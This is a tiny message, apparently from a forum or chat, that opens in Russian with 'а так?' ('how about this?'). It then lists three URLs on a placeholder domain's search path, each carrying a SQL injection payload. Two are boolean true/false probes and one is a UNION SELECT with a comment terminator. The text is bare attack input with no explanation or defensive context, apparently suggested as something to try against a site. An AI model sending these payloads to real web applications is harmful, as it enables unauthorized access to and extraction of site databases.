а так?
www.url.ru/en/search/1'and(1)='1
www.url.ru/en/search/1'and(1)='2
www.url.ru/en/search/1'union(select(1),2,3,4,5)#